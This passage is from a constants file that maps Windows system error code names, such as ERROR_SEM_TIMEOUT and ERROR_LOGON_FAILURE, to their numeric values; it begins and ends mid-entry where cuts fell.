118\nERROR_BAD_DRIVER_LEVEL = 119\nERROR_CALL_NOT_IMPLEMENTED = 120\nERROR_SEM_TIMEOUT = 121\nERROR_INSUFFICIENT_BUFFER = 122\nERROR_INVALID_NAME = 123\nERROR_INVALID_LEVEL = 124\nERROR_NO_VOLUME_LABEL = 125\nERROR_MOD_NOT_FOUND = 126\nERROR_PROC_NOT_FOUND = 127\nERROR_WAIT_NO_CHILDREN = 128\nERROR_CHILD_NOT_COMPLETE = 129\nERROR_DIRECT_ACCESS_HANDLE = 130\nERROR_NEGATIVE_SEEK = 131\nERROR_SEEK_ON_DEVICE = 132\nERROR_IS_JOIN_TARGET = 133\nERROR_IS_JOINED = 134\nERROR_IS_SUBSTED = 135\nERROR_NOT_JOINED = 136\nERROR_NOT_SUBSTED = 137\nERROR_JOIN_TO_JOIN = 138\nERROR_SUBST_TO_SUBST = 139\nERROR_JOIN_TO_SUBST = 140\nERROR_SUBST_TO_JOIN = 141\nERROR_BUSY_DRIVE = 142\nERROR_SAME_DRIVE = 143\nERROR_DIR_NOT_ROOT = 144\nERROR_DIR_NOT_EMPTY = 145\nERROR_IS_SUBST_PATH = 146\nERROR_IS_JOIN_PATH = 147\nERROR_PATH_BUSY = 148\nERROR_IS_SUBST_TARGET = 149\nERROR_SYSTEM_TRACE = 150\nERROR_INVALID_EVENT_COUNT = 151\nERROR_TOO_MANY_MUXWAITERS = 152\nERROR_INVALID_LIST_FORMAT = 153\nERROR_LABEL_TOO_LONG = 154\nERROR_TOO_MANY_TCBS = 155\nERROR_SIGNAL_REFUSED = 156\nERROR_DISCARDED = 157\nERROR_NOT_LOCKED = 158\nERROR_BAD_THREADID_ADDR = 159\nERROR_BAD_ARGUMENTS = 160\nERROR_BAD_PATHNAME = 161\nERROR_SIGNAL_PENDING = 162\nERROR_MAX_THRDS_REACHED = 164\nERROR_LOCK_FAILED = 167\nERROR_BUSY = 170\nERROR_CANCEL_VIOLATION = 173\nERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 174\nERROR_INVALID_SEGMENT_NUMBER = 180\nERROR_INVALID_ORDINAL = 182\nERROR_ALREADY_EXISTS = 183\nERROR_INVALID_FLAG_NUMBER = 186\nERROR_SEM_NOT_FOUND = 187\nERROR_INVALID_STARTING_CODESEG = 188\nERROR_INVALID_STACKSEG = 189\nERROR_INVALID_MODULETYPE = 190\nERROR_INVALID_EXE_SIGNATURE = 191\nERROR_EXE_MARKED_INVALID = 192\nERROR_BAD_EXE_FORMAT = 193\nERROR_ITERATED_DATA_EXCEEDS_64k = 194\nERROR_INVALID_MINALLOCSIZE = 195\nERROR_DYNLINK_FROM_INVALID_RING = 196\nERROR_IOPL_NOT_ENABLED = 197\nERROR_INVALID_SEGDPL = 198\nERROR_AUTODATASEG_EXCEEDS_64k = 199\nERROR_RING2SEG_MUST_BE_MOVABLE = 200\nERROR_RELOC_CHAIN_XEEDS_SEGLIM = 201\nERROR_INFLOOP_IN_RELOC_CHAIN = 202\nERROR_ENVVAR_NOT_FOUND = 203\nERROR_NO_SIGNAL_SENT = 205\nERROR_FILENAME_EXCED_RANGE = 206\nERROR_RING2_STACK_IN_USE = 207\nERROR_META_EXPANSION_TOO_LONG = 208\nERROR_INVALID_SIGNAL_NUMBER = 209\nERROR_THREAD_1_INACTIVE = 210\nERROR_LOCKED = 212\nERROR_TOO_MANY_MODULES = 214\nERROR_NESTING_NOT_ALLOWED = 215\nERROR_EXE_MACHINE_TYPE_MISMATCH = 216\nERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY = 217\nERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 218\nERROR_FILE_CHECKED_OUT = 220\nERROR_CHECKOUT_REQUIRED = 221\nERROR_BAD_FILE_TYPE = 222\nERROR_FILE_TOO_LARGE = 223\nERROR_FORMS_AUTH_REQUIRED = 224\nERROR_VIRUS_INFECTED = 225\nERROR_VIRUS_DELETED = 226\nERROR_PIPE_LOCAL = 229\nERROR_BAD_PIPE = 230\nERROR_PIPE_BUSY = 231\nERROR_NO_DATA = 232\nERROR_PIPE_NOT_CONNECTED = 233\nERROR_MORE_DATA = 234\nERROR_VC_DISCONNECTED = 240\nERROR_INVALID_EA_NAME = 254\nERROR_EA_LIST_INCONSISTENT = 255\nWAIT_TIMEOUT = 258\nERROR_NO_MORE_ITEMS = 259\nERROR_CANNOT_COPY = 266\nERROR_DIRECTORY = 267\nERROR_EAS_DIDNT_FIT = 275\nERROR_EA_FILE_CORRUPT = 276\nERROR_EA_TABLE_FULL = 277\nERROR_INVALID_EA_HANDLE = 278\nERROR_EAS_NOT_SUPPORTED = 282\nERROR_NOT_OWNER = 288\nERROR_TOO_MANY_POSTS = 298\nERROR_PARTIAL_COPY = 299\nERROR_OPLOCK_NOT_GRANTED = 300\nERROR_INVALID_OPLOCK_PROTOCOL = 301\nERROR_DISK_TOO_FRAGMENTED = 302\nERROR_DELETE_PENDING = 303\nERROR_MR_MID_NOT_FOUND = 317\nERROR_SCOPE_NOT_FOUND = 318\nERROR_FAIL_NOACTION_REBOOT = 350\nERROR_FAIL_SHUTDOWN = 351\nERROR_FAIL_RESTART = 352\nERROR_MAX_SESSIONS_REACHED = 353\nERROR_THREAD_MODE_ALREADY_BACKGROUND = 400\nERROR_THREAD_MODE_NOT_BACKGROUND = 401\nERROR_PROCESS_MODE_ALREADY_BACKGROUND = 402\nERROR_PROCESS_MODE_NOT_BACKGROUND = 403\nERROR_INVALID_ADDRESS = 487\nERROR_USER_PROFILE_LOAD = 500\nERROR_ARITHMETIC_OVERFLOW = 534\nERROR_PIPE_CONNECTED = 535\nERROR_PIPE_LISTENING = 536\nERROR_VERIFIER_STOP = 537\nERROR_ABIOS_ERROR = 538\nERROR_WX86_WARNING = 539\nERROR_WX86_ERROR = 540\nERROR_TIMER_NOT_CANCELED = 541\nERROR_UNWIND = 542\nERROR_BAD_STACK = 543\nERROR_INVALID_UNWIND_TARGET = 544\nERROR_INVALID_PORT_ATTRIBUTES = 545\nERROR_PORT_MESSAGE_TOO_LONG = 546\nERROR_INVALID_QUOTA_LOWER = 547\nERROR_DEVICE_ALREADY_ATTACHED = 548\nERROR_INSTRUCTION_MISALIGNMENT = 549\nERROR_PROFILING_NOT_STARTED = 550\nERROR_PROFILING_NOT_STOPPED = 551\nERROR_COULD_NOT_INTERPRET = 552\nERROR_PROFILING_AT_LIMIT = 553\nERROR_CANT_WAIT = 554\nERROR_CANT_TERMINATE_SELF = 555\nERROR_UNEXPECTED_MM_CREATE_ERR = 556\nERROR_UNEXPECTED_MM_MAP_ERROR = 557\nERROR_UNEXPECTED_MM_EXTEND_ERR = 558\nERROR_BAD_FUNCTION_TABLE = 559\nERROR_NO_GUID_TRANSLATION = 560\nERROR_INVALID_LDT_SIZE = 561\nERROR_INVALID_LDT_OFFSET = 563\nERROR_INVALID_LDT_DESCRIPTOR = 564\nERROR_TOO_MANY_THREADS = 565\nERROR_THREAD_NOT_IN_PROCESS = 566\nERROR_PAGEFILE_QUOTA_EXCEEDED = 567\nERROR_LOGON_SERVER_CONFLICT = 568\nERROR_SYNCHRONIZATION_REQUIRED = 569\nERROR_NET_OPEN_FAILED = 570\nERROR_IO_PRIVILEGE_FAILED = 571\nERROR_CONTROL_C_EXIT = 572\nERROR_MISSING_SYSTEMFILE = 573\nERROR_UNHANDLED_EXCEPTION = 574\nERROR_APP_INIT_FAILURE = 575\nERROR_PAGEFILE_CREATE_FAILED = 576\nERROR_INVALID_IMAGE_HASH = 577\nERROR_NO_PAGEFILE = 578\nERROR_ILLEGAL_FLOAT_CONTEXT = 579\nERROR_NO_EVENT_PAIR = 580\nERROR_DOMAIN_CTRLR_CONFIG_ERROR = 581\nERROR_ILLEGAL_CHARACTER = 582\nERROR_UNDEFINED_CHARACTER = 583\nERROR_FLOPPY_VOLUME = 584\nERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT = 585\nERROR_BACKUP_CONTROLLER = 586\nERROR_MUTANT_LIMIT_EXCEEDED = 587\nERROR_FS_DRIVER_REQUIRED = 588\nERROR_CANNOT_LOAD_REGISTRY_FILE = 589\nERROR_DEBUG_ATTACH_FAILED = 590\nERROR_SYSTEM_PROCESS_TERMINATED = 591\nERROR_DATA_NOT_ACCEPTED = 592\nERROR_VDM_HARD_ERROR = 593\nERROR_DRIVER_CANCEL_TIMEOUT = 594\nERROR_REPLY_MESSAGE_MISMATCH = 595\nERROR_LOST_WRITEBEHIND_DATA = 596\nERROR_CLIENT_SERVER_PARAMETERS_INVALID = 597\nERROR_NOT_TINY_STREAM = 598\nERROR_STACK_OVERFLOW_READ = 599\nERROR_CONVERT_TO_LARGE = 600\nERROR_FOUND_OUT_OF_SCOPE = 601\nERROR_ALLOCATE_BUCKET = 602\nERROR_MARSHALL_OVERFLOW = 603\nERROR_INVALID_VARIANT = 604\nERROR_BAD_COMPRESSION_BUFFER = 605\nERROR_AUDIT_FAILED = 606\nERROR_TIMER_RESOLUTION_NOT_SET = 607\nERROR_INSUFFICIENT_LOGON_INFO = 608\nERROR_BAD_DLL_ENTRYPOINT = 609\nERROR_BAD_SERVICE_ENTRYPOINT = 610\nERROR_IP_ADDRESS_CONFLICT1 = 611\nERROR_IP_ADDRESS_CONFLICT2 = 612\nERROR_REGISTRY_QUOTA_LIMIT = 613\nERROR_NO_CALLBACK_ACTIVE = 614\nERROR_PWD_TOO_SHORT = 615\nERROR_PWD_TOO_RECENT = 616\nERROR_PWD_HISTORY_CONFLICT = 617\nERROR_UNSUPPORTED_COMPRESSION = 618\nERROR_INVALID_HW_PROFILE = 619\nERROR_INVALID_PLUGPLAY_DEVICE_PATH = 620\nERROR_QUOTA_LIST_INCONSISTENT = 621\nERROR_EVALUATION_EXPIRATION = 622\nERROR_ILLEGAL_DLL_RELOCATION = 623\nERROR_DLL_INIT_FAILED_LOGOFF = 624\nERROR_VALIDATE_CONTINUE = 625\nERROR_NO_MORE_MATCHES = 626\nERROR_RANGE_LIST_CONFLICT = 627\nERROR_SERVER_SID_MISMATCH = 628\nERROR_CANT_ENABLE_DENY_ONLY = 629\nERROR_FLOAT_MULTIPLE_FAULTS = 630\nERROR_FLOAT_MULTIPLE_TRAPS = 631\nERROR_NOINTERFACE = 632\nERROR_DRIVER_FAILED_SLEEP = 633\nERROR_CORRUPT_SYSTEM_FILE = 634\nERROR_COMMITMENT_MINIMUM = 635\nERROR_PNP_RESTART_ENUMERATION = 636\nERROR_SYSTEM_IMAGE_BAD_SIGNATURE = 637\nERROR_PNP_REBOOT_REQUIRED = 638\nERROR_INSUFFICIENT_POWER = 639\nERROR_MULTIPLE_FAULT_VIOLATION = 640\nERROR_SYSTEM_SHUTDOWN = 641\nERROR_PORT_NOT_SET = 642\nERROR_DS_VERSION_CHECK_FAILURE = 643\nERROR_RANGE_NOT_FOUND = 644\nERROR_NOT_SAFE_MODE_DRIVER = 646\nERROR_FAILED_DRIVER_ENTRY = 647\nERROR_DEVICE_ENUMERATION_ERROR = 648\nERROR_MOUNT_POINT_NOT_RESOLVED = 649\nERROR_INVALID_DEVICE_OBJECT_PARAMETER = 650\nERROR_MCA_OCCURED = 651\nERROR_DRIVER_DATABASE_ERROR = 652\nERROR_SYSTEM_HIVE_TOO_LARGE = 653\nERROR_DRIVER_FAILED_PRIOR_UNLOAD = 654\nERROR_VOLSNAP_PREPARE_HIBERNATE = 655\nERROR_HIBERNATION_FAILURE = 656\nERROR_FILE_SYSTEM_LIMITATION = 665\nERROR_ASSERTION_FAILURE = 668\nERROR_ACPI_ERROR = 669\nERROR_WOW_ASSERTION = 670\nERROR_PNP_BAD_MPS_TABLE = 671\nERROR_PNP_TRANSLATION_FAILED = 672\nERROR_PNP_IRQ_TRANSLATION_FAILED = 673\nERROR_PNP_INVALID_ID = 674\nERROR_WAKE_SYSTEM_DEBUGGER = 675\nERROR_HANDLES_CLOSED = 676\nERROR_EXTRANEOUS_INFORMATION = 677\nERROR_RXACT_COMMIT_NECESSARY = 678\nERROR_MEDIA_CHECK = 679\nERROR_GUID_SUBSTITUTION_MADE = 680\nERROR_STOPPED_ON_SYMLINK = 681\nERROR_LONGJUMP = 682\nERROR_PLUGPLAY_QUERY_VETOED = 683\nERROR_UNWIND_CONSOLIDATE = 684\nERROR_REGISTRY_HIVE_RECOVERED = 685\nERROR_DLL_MIGHT_BE_INSECURE = 686\nERROR_DLL_MIGHT_BE_INCOMPATIBLE = 687\nERROR_DBG_EXCEPTION_NOT_HANDLED = 688\nERROR_DBG_REPLY_LATER = 689\nERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690\nERROR_DBG_TERMINATE_THREAD = 691\nERROR_DBG_TERMINATE_PROCESS = 692\nERROR_DBG_CONTROL_C = 693\nERROR_DBG_PRINTEXCEPTION_C = 694\nERROR_DBG_RIPEXCEPTION = 695\nERROR_DBG_CONTROL_BREAK = 696\nERROR_DBG_COMMAND_EXCEPTION = 697\nERROR_OBJECT_NAME_EXISTS = 698\nERROR_THREAD_WAS_SUSPENDED = 699\nERROR_IMAGE_NOT_AT_BASE = 700\nERROR_RXACT_STATE_CREATED = 701\nERROR_SEGMENT_NOTIFICATION = 702\nERROR_BAD_CURRENT_DIRECTORY = 703\nERROR_FT_READ_RECOVERY_FROM_BACKUP = 704\nERROR_FT_WRITE_RECOVERY = 705\nERROR_IMAGE_MACHINE_TYPE_MISMATCH = 706\nERROR_RECEIVE_PARTIAL = 707\nERROR_RECEIVE_EXPEDITED = 708\nERROR_RECEIVE_PARTIAL_EXPEDITED = 709\nERROR_EVENT_DONE = 710\nERROR_EVENT_PENDING = 711\nERROR_CHECKING_FILE_SYSTEM = 712\nERROR_FATAL_APP_EXIT = 713\nERROR_PREDEFINED_HANDLE = 714\nERROR_WAS_UNLOCKED = 715\nERROR_SERVICE_NOTIFICATION = 716\nERROR_WAS_LOCKED = 717\nERROR_LOG_HARD_ERROR = 718\nERROR_ALREADY_WIN32 = 719\nERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE = 720\nERROR_NO_YIELD_PERFORMED = 721\nERROR_TIMER_RESUME_IGNORED = 722\nERROR_ARBITRATION_UNHANDLED = 723\nERROR_CARDBUS_NOT_SUPPORTED = 724\nERROR_MP_PROCESSOR_MISMATCH = 725\nERROR_HIBERNATED = 726\nERROR_RESUME_HIBERNATION = 727\nERROR_FIRMWARE_UPDATED = 728\nERROR_DRIVERS_LEAKING_LOCKED_PAGES = 729\nERROR_WAKE_SYSTEM = 730\nERROR_WAIT_1 = 731\nERROR_WAIT_2 = 732\nERROR_WAIT_3 = 733\nERROR_WAIT_63 = 734\nERROR_ABANDONED_WAIT_0 = 735\nERROR_ABANDONED_WAIT_63 = 736\nERROR_USER_APC = 737\nERROR_KERNEL_APC = 738\nERROR_ALERTED = 739\nERROR_ELEVATION_REQUIRED = 740\nERROR_REPARSE = 741\nERROR_OPLOCK_BREAK_IN_PROGRESS = 742\nERROR_VOLUME_MOUNTED = 743\nERROR_RXACT_COMMITTED = 744\nERROR_NOTIFY_CLEANUP = 745\nERROR_PRIMARY_TRANSPORT_CONNECT_FAILED = 746\nERROR_PAGE_FAULT_TRANSITION = 747\nERROR_PAGE_FAULT_DEMAND_ZERO = 748\nERROR_PAGE_FAULT_COPY_ON_WRITE = 749\nERROR_PAGE_FAULT_GUARD_PAGE = 750\nERROR_PAGE_FAULT_PAGING_FILE = 751\nERROR_CACHE_PAGE_LOCKED = 752\nERROR_CRASH_DUMP = 753\nERROR_BUFFER_ALL_ZEROS = 754\nERROR_REPARSE_OBJECT = 755\nERROR_RESOURCE_REQUIREMENTS_CHANGED = 756\nERROR_TRANSLATION_COMPLETE = 757\nERROR_NOTHING_TO_TERMINATE = 758\nERROR_PROCESS_NOT_IN_JOB = 759\nERROR_PROCESS_IN_JOB = 760\nERROR_VOLSNAP_HIBERNATE_READY = 761\nERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY = 762\nERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED = 763\nERROR_INTERRUPT_STILL_CONNECTED = 764\nERROR_WAIT_FOR_OPLOCK = 765\nERROR_DBG_EXCEPTION_HANDLED = 766\nERROR_DBG_CONTINUE = 767\nERROR_CALLBACK_POP_STACK = 768\nERROR_COMPRESSION_DISABLED = 769\nERROR_CANTFETCHBACKWARDS = 770\nERROR_CANTSCROLLBACKWARDS = 771\nERROR_ROWSNOTRELEASED = 772\nERROR_BAD_ACCESSOR_FLAGS = 773\nERROR_ERRORS_ENCOUNTERED = 774\nERROR_NOT_CAPABLE = 775\nERROR_REQUEST_OUT_OF_SEQUENCE = 776\nERROR_VERSION_PARSE_ERROR = 777\nERROR_BADSTARTPOSITION = 778\nERROR_MEMORY_HARDWARE = 779\nERROR_DISK_REPAIR_DISABLED = 780\nERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE = 781\nERROR_SYSTEM_POWERSTATE_TRANSITION = 782\nERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION = 783\nERROR_MCA_EXCEPTION = 784\nERROR_ACCESS_AUDIT_BY_POLICY = 785\nERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY = 786\nERROR_ABANDON_HIBERFILE = 787\nERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED = 788\nERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR = 789\nERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR = 790\nERROR_BAD_MCFG_TABLE = 791\nERROR_EA_ACCESS_DENIED = 994\nERROR_OPERATION_ABORTED = 995\nERROR_IO_INCOMPLETE = 996\nERROR_IO_PENDING = 997\nERROR_NOACCESS = 998\nERROR_SWAPERROR = 999\nERROR_STACK_OVERFLOW = 1001\nERROR_INVALID_MESSAGE = 1002\nERROR_CAN_NOT_COMPLETE = 1003\nERROR_INVALID_FLAGS = 1004\nERROR_UNRECOGNIZED_VOLUME = 1005\nERROR_FILE_INVALID = 1006\nERROR_FULLSCREEN_MODE = 1007\nERROR_NO_TOKEN = 1008\nERROR_BADDB = 1009\nERROR_BADKEY = 1010\nERROR_CANTOPEN = 1011\nERROR_CANTREAD = 1012\nERROR_CANTWRITE = 1013\nERROR_REGISTRY_RECOVERED = 1014\nERROR_REGISTRY_CORRUPT = 1015\nERROR_REGISTRY_IO_FAILED = 1016\nERROR_NOT_REGISTRY_FILE = 1017\nERROR_KEY_DELETED = 1018\nERROR_NO_LOG_SPACE = 1019\nERROR_KEY_HAS_CHILDREN = 1020\nERROR_CHILD_MUST_BE_VOLATILE = 1021\nERROR_NOTIFY_ENUM_DIR = 1022\nERROR_DEPENDENT_SERVICES_RUNNING = 1051\nERROR_INVALID_SERVICE_CONTROL = 1052\nERROR_SERVICE_REQUEST_TIMEOUT = 1053\nERROR_SERVICE_NO_THREAD = 1054\nERROR_SERVICE_DATABASE_LOCKED = 1055\nERROR_SERVICE_ALREADY_RUNNING = 1056\nERROR_INVALID_SERVICE_ACCOUNT = 1057\nERROR_SERVICE_DISABLED = 1058\nERROR_CIRCULAR_DEPENDENCY = 1059\nERROR_SERVICE_DOES_NOT_EXIST = 1060\nERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061\nERROR_SERVICE_NOT_ACTIVE = 1062\nERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063\nERROR_EXCEPTION_IN_SERVICE = 1064\nERROR_DATABASE_DOES_NOT_EXIST = 1065\nERROR_SERVICE_SPECIFIC_ERROR = 1066\nERROR_PROCESS_ABORTED = 1067\nERROR_SERVICE_DEPENDENCY_FAIL = 1068\nERROR_SERVICE_LOGON_FAILED = 1069\nERROR_SERVICE_START_HANG = 1070\nERROR_INVALID_SERVICE_LOCK = 1071\nERROR_SERVICE_MARKED_FOR_DELETE = 1072\nERROR_SERVICE_EXISTS = 1073\nERROR_ALREADY_RUNNING_LKG = 1074\nERROR_SERVICE_DEPENDENCY_DELETED = 1075\nERROR_BOOT_ALREADY_ACCEPTED = 1076\nERROR_SERVICE_NEVER_STARTED = 1077\nERROR_DUPLICATE_SERVICE_NAME = 1078\nERROR_DIFFERENT_SERVICE_ACCOUNT = 1079\nERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080\nERROR_CANNOT_DETECT_PROCESS_ABORT = 1081\nERROR_NO_RECOVERY_PROGRAM = 1082\nERROR_SERVICE_NOT_IN_EXE = 1083\nERROR_NOT_SAFEBOOT_SERVICE = 1084\nERROR_END_OF_MEDIA = 1100\nERROR_FILEMARK_DETECTED = 1101\nERROR_BEGINNING_OF_MEDIA = 1102\nERROR_SETMARK_DETECTED = 1103\nERROR_NO_DATA_DETECTED = 1104\nERROR_PARTITION_FAILURE = 1105\nERROR_INVALID_BLOCK_LENGTH = 1106\nERROR_DEVICE_NOT_PARTITIONED = 1107\nERROR_UNABLE_TO_LOCK_MEDIA = 1108\nERROR_UNABLE_TO_UNLOAD_MEDIA = 1109\nERROR_MEDIA_CHANGED = 1110\nERROR_BUS_RESET = 1111\nERROR_NO_MEDIA_IN_DRIVE = 1112\nERROR_NO_UNICODE_TRANSLATION = 1113\nERROR_DLL_INIT_FAILED = 1114\nERROR_SHUTDOWN_IN_PROGRESS = 1115\nERROR_NO_SHUTDOWN_IN_PROGRESS = 1116\nERROR_IO_DEVICE = 1117\nERROR_SERIAL_NO_DEVICE = 1118\nERROR_IRQ_BUSY = 1119\nERROR_MORE_WRITES = 1120\nERROR_COUNTER_TIMEOUT = 1121\nERROR_FLOPPY_ID_MARK_NOT_FOUND = 1122\nERROR_FLOPPY_WRONG_CYLINDER = 1123\nERROR_FLOPPY_UNKNOWN_ERROR = 1124\nERROR_FLOPPY_BAD_REGISTERS = 1125\nERROR_DISK_RECALIBRATE_FAILED = 1126\nERROR_DISK_OPERATION_FAILED = 1127\nERROR_DISK_RESET_FAILED = 1128\nERROR_EOM_OVERFLOW = 1129\nERROR_NOT_ENOUGH_SERVER_MEMORY = 1130\nERROR_POSSIBLE_DEADLOCK = 1131\nERROR_MAPPED_ALIGNMENT = 1132\nERROR_SET_POWER_STATE_VETOED = 1140\nERROR_SET_POWER_STATE_FAILED = 1141\nERROR_TOO_MANY_LINKS = 1142\nERROR_OLD_WIN_VERSION = 1150\nERROR_APP_WRONG_OS = 1151\nERROR_SINGLE_INSTANCE_APP = 1152\nERROR_RMODE_APP = 1153\nERROR_INVALID_DLL = 1154\nERROR_NO_ASSOCIATION = 1155\nERROR_DDE_FAIL = 1156\nERROR_DLL_NOT_FOUND = 1157\nERROR_NO_MORE_USER_HANDLES = 1158\nERROR_MESSAGE_SYNC_ONLY = 1159\nERROR_SOURCE_ELEMENT_EMPTY = 1160\nERROR_DESTINATION_ELEMENT_FULL = 1161\nERROR_ILLEGAL_ELEMENT_ADDRESS = 1162\nERROR_MAGAZINE_NOT_PRESENT = 1163\nERROR_DEVICE_REINITIALIZATION_NEEDED = 1164\nERROR_DEVICE_REQUIRES_CLEANING = 1165\nERROR_DEVICE_DOOR_OPEN = 1166\nERROR_DEVICE_NOT_CONNECTED = 1167\nERROR_NOT_FOUND = 1168\nERROR_NO_MATCH = 1169\nERROR_SET_NOT_FOUND = 1170\nERROR_POINT_NOT_FOUND = 1171\nERROR_NO_TRACKING_SERVICE = 1172\nERROR_NO_VOLUME_ID = 1173\nERROR_CONNECTED_OTHER_PASSWORD = 2108\nERROR_BAD_USERNAME = 2202\nERROR_NOT_CONNECTED = 2250\nERROR_OPEN_FILES = 2401\nERROR_ACTIVE_CONNECTIONS = 2402\nERROR_DEVICE_IN_USE = 2404\nERROR_BAD_DEVICE = 1200\nERROR_CONNECTION_UNAVAIL = 1201\nERROR_DEVICE_ALREADY_REMEMBERED = 1202\nERROR_NO_NET_OR_BAD_PATH = 1203\nERROR_BAD_PROVIDER = 1204\nERROR_CANNOT_OPEN_PROFILE = 1205\nERROR_BAD_PROFILE = 1206\nERROR_NOT_CONTAINER = 1207\nERROR_EXTENDED_ERROR = 1208\nERROR_INVALID_GROUPNAME = 1209\nERROR_INVALID_COMPUTERNAME = 1210\nERROR_INVALID_EVENTNAME = 1211\nERROR_INVALID_DOMAINNAME = 1212\nERROR_INVALID_SERVICENAME = 1213\nERROR_INVALID_NETNAME = 1214\nERROR_INVALID_SHARENAME = 1215\nERROR_INVALID_PASSWORDNAME = 1216\nERROR_INVALID_MESSAGENAME = 1217\nERROR_INVALID_MESSAGEDEST = 1218\nERROR_SESSION_CREDENTIAL_CONFLICT = 1219\nERROR_REMOTE_SESSION_LIMIT_EXCEEDED = 1220\nERROR_DUP_DOMAINNAME = 1221\nERROR_NO_NETWORK = 1222\nERROR_CANCELLED = 1223\nERROR_USER_MAPPED_FILE = 1224\nERROR_CONNECTION_REFUSED = 1225\nERROR_GRACEFUL_DISCONNECT = 1226\nERROR_ADDRESS_ALREADY_ASSOCIATED = 1227\nERROR_ADDRESS_NOT_ASSOCIATED = 1228\nERROR_CONNECTION_INVALID = 1229\nERROR_CONNECTION_ACTIVE = 1230\nERROR_NETWORK_UNREACHABLE = 1231\nERROR_HOST_UNREACHABLE = 1232\nERROR_PROTOCOL_UNREACHABLE = 1233\nERROR_PORT_UNREACHABLE = 1234\nERROR_REQUEST_ABORTED = 1235\nERROR_CONNECTION_ABORTED = 1236\nERROR_RETRY = 1237\nERROR_CONNECTION_COUNT_LIMIT = 1238\nERROR_LOGIN_TIME_RESTRICTION = 1239\nERROR_LOGIN_WKSTA_RESTRICTION = 1240\nERROR_INCORRECT_ADDRESS = 1241\nERROR_ALREADY_REGISTERED = 1242\nERROR_SERVICE_NOT_FOUND = 1243\nERROR_NOT_AUTHENTICATED = 1244\nERROR_NOT_LOGGED_ON = 1245\nERROR_CONTINUE = 1246\nERROR_ALREADY_INITIALIZED = 1247\nERROR_NO_MORE_DEVICES = 1248\nERROR_NO_SUCH_SITE = 1249\nERROR_DOMAIN_CONTROLLER_EXISTS = 1250\nERROR_DS_NOT_INSTALLED = 1251\nERROR_NOT_ALL_ASSIGNED = 1300\nERROR_SOME_NOT_MAPPED = 1301\nERROR_NO_QUOTAS_FOR_ACCOUNT = 1302\nERROR_LOCAL_USER_SESSION_KEY = 1303\nERROR_NULL_LM_PASSWORD = 1304\nERROR_UNKNOWN_REVISION = 1305\nERROR_REVISION_MISMATCH = 1306\nERROR_INVALID_OWNER = 1307\nERROR_INVALID_PRIMARY_GROUP = 1308\nERROR_NO_IMPERSONATION_TOKEN = 1309\nERROR_CANT_DISABLE_MANDATORY = 1310\nERROR_NO_LOGON_SERVERS = 1311\nERROR_NO_SUCH_LOGON_SESSION = 1312\nERROR_NO_SUCH_PRIVILEGE = 1313\nERROR_PRIVILEGE_NOT_HELD = 1314\nERROR_INVALID_ACCOUNT_NAME = 1315\nERROR_USER_EXISTS = 1316\nERROR_NO_SUCH_USER = 1317\nERROR_GROUP_EXISTS = 1318\nERROR_NO_SUCH_GROUP = 1319\nERROR_MEMBER_IN_GROUP = 1320\nERROR_MEMBER_NOT_IN_GROUP = 1321\nERROR_LAST_ADMIN = 1322\nERROR_WRONG_PASSWORD = 1323\nERROR_ILL_FORMED_PASSWORD = 1324\nERROR_PASSWORD_RESTRICTION = 1325\nERROR_LOGON_FAILURE = 1326\nERROR_ACCOUNT_RESTRICTION = 1327\nERROR_INVALID_LOGON_HOURS = 1328\nERROR_INVALID_WORKSTATION = 1329\nERROR_PASSWORD_EXPIRED = 1330\nERROR_ACCOUNT_DISABLED = 1331\nERROR_NONE_MAPPED = 1332\nERROR_TOO_MANY_LUIDS_REQUESTED = 1333\nERROR_LUIDS_EXHAUSTED = 1334\nERROR_INVALID_SUB_AUTHORITY = 1335\nERROR_INVALID_ACL = 1336\nERROR_INVALID_SID = 1337\nERROR_INVALID_SECURITY_DESCR = 1338\nERROR_BAD_INHERITANCE_ACL = 1340\nERROR_SERVER_DISABLED = 1341\nERROR_SERVER_NOT_DISABLED = 1342\nERROR_INVALID_ID_AUTHORITY = 1343\nERROR_ALLOTTED_SPACE_EXCEEDED = 1344\nERROR_INVALID_GROUP_ATTRIBUTES = 1345\nERROR_BAD_IMPERSONATION_LEVEL = 1346\nERROR_CANT_OPEN_ANONYMOUS = 1347\nERROR_BAD_VALIDATION_CLASS = 1348\nERROR_BAD_TOKEN_TYPE = 1349\nERROR_NO_SECURITY_ON_OBJECT = 1350\nERROR_CANT_ACCESS_DOMAIN_INFO = 1351\nERROR_INVALID_SERVER_STATE = 1352\nERROR_INVALID_DOMAIN_STATE = 1353\nERROR_INVALID_DOMAIN_ROLE = 1354\nERROR_NO_SUCH_DOMAIN = 1355\nERROR_DOMAIN_EXISTS = 1356\nERROR_DOMAIN_LIMIT_EXCEEDED = 1357\nERROR_INTERNAL_DB_CORRUPTION = 1358\nERROR_INTERNAL_ERROR = 1359\nERROR_GENERIC_NOT_MAPPED = 1360\nERROR_BAD_DESCRIPTOR_FORMAT = 1361\nERROR_NOT_LOGON_PROCESS = 1362\nERROR_LOGON_SESSION_EXISTS = 1363\nERROR_NO_SUCH_PACKAGE = 1364\nERROR_BAD_LOGON_SESSION_STATE = 1365\nERROR_LOGON_SESSION_COLLISION = 1366\nERROR_INVALID_LOGON_TYPE = 1367\nERROR_CANNOT_IMPERSONATE = 1368\nERROR_RXACT_INVALID_STATE = 1369\nERROR_RXACT_COMMIT_FAILURE = 1370\nERROR_SPECIAL_ACCOUNT = 1371\nERROR_SPECIAL_GROUP = 1372\nERROR_SPECIAL_USER = 1373\nERROR_MEMBERS_PRIMARY_GROUP = 1374\nERROR_TOKEN_ALREADY_IN_USE = 1375\nERROR_NO_SUCH_ALIAS = 1376\nERROR_MEMBER_NOT_IN_ALIAS = 1377\nERROR_MEMBER_IN_ALIAS = 